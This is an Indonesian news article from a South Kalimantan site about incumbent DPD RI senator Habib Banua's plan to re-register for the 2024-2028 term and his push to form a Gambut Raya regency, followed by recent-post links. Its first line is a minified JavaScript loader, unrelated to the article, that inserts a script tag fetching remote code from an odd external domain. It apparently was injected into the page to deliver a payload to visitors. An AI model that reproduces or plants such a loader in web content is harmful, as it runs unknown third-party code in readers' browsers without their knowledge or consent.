(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Habib Banua Kembali Incar Kursi Senator DPD RI


KANALKALIMANTAN.COM, BANJARMASIN – Pendaftaran bakal calon anggota Dewan Perwakilan Daerah (DPD) RI periode 2024-2028 dibuka KPU Kalimantan Selatan 1 Mei 2023.

Salah satu tokoh yang mantap akan mendaftarkan diri sebagai bakal calon anggota DPD RI Dapil Kalsel yaitu Pangeran Syarif Abdurrahman Bahasyim atau dikenal Habib Banua.

Lelaki yang saat ini masih aktif sebagai Anggota DPD RI yakin dapat kembali terpilih sebagai satu dari empat orang yang akan duduk sebagai Anggota DPD RI Dapil Kalsel 2024-2028.

Sejumlah persyaratan administrasi untuk mendaftar pun sudah disiapkannya. Termasuk dirinya telah dinyatakan lolos verifikasi administrasi dan faktual syarat minimal dukungan 2 ribu KTP untuk bakal calon anggota DPD RI.

Baca juga: Mantan Napi Bisa Daftar Bacaleg, KPU Kalsel Sebut Syarat yang Mesti Dipenuhi

“Persyaratan sudah lengkap. Insyaallah pada tanggal 1 Mei, kalau tidak berhalangan saya akan mendaftar ke KPU Kalsel,” katanya kepada kanalkalimantan.com,  Jumat (28/4/2023) sore.

Sejumlah gagasan pun telah disiapkannya. Salah satunya Habib Banua mengangkat isu pemekaran wilayah Gambut Raya yang saat ini masih termasuk wilayah Kabupaten Banjar.

Menurutnya, di Komisi I DPD RI bidang Politik, hukum, dan pemerintah beberapa waktu lalu dirinya bersama sejumlah pihak telah mengusulkan Gambut Raya untuk dijadikan kabupaten di Kalimantan Selatan.

“Itu nanti yang akan saya perjuangkan jika masih di Komisi I,” ucapnya.

Menurutnya, proses pemekaran wilayah Gambut Raya telah sampai kepada pemenuhan persyaratan oleh panitia pemekaran. Sehingga dia optimis dapat merealisasikan pemekaran tersebut dalam waktu dekat.

“Tinggal panitia yang ada di Gambut Raya menyiapkan dan melengkapi persyaratan-persyaratanya,” kata Habib Banua.

Baca juga: KPU Banjarmasin Buka Pendaftaran Bacaleg Mulai 1 Mei

“Sehingga ketika moratorium pemekaran daerah otonomi baru (DOB) itu dicabut oleh pemerintah pusat, DPD akan langsung running,” tambahnya.

Diketahui, selain Habib Banua ada 9 nama lain  yang juga dinyatakan lolos verifikasi administrasi dan faktual syarat dukungan minimal 2 ribu KTP untuk pencalonan DPD RI Dapil Kalsel.

Mereka antara lain, Antung Fatmawati, Habib Hamid Abdullah, Gusti Farid Hasan Aman, Habib Zakaria Bahasyim, Mohammad Sofwat Hadi, Muhammad Hidayatullah, Muhammad Yamin, Nanik Hayati, dan Sayid Umar Al Idrus. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

2 jam ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

3 jam ago

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

16 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

18 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

20 jam ago

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

KANALKALIMANTAN.COM, BANJARBARU - Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut… Read More

21 jam ago

This website uses cookies.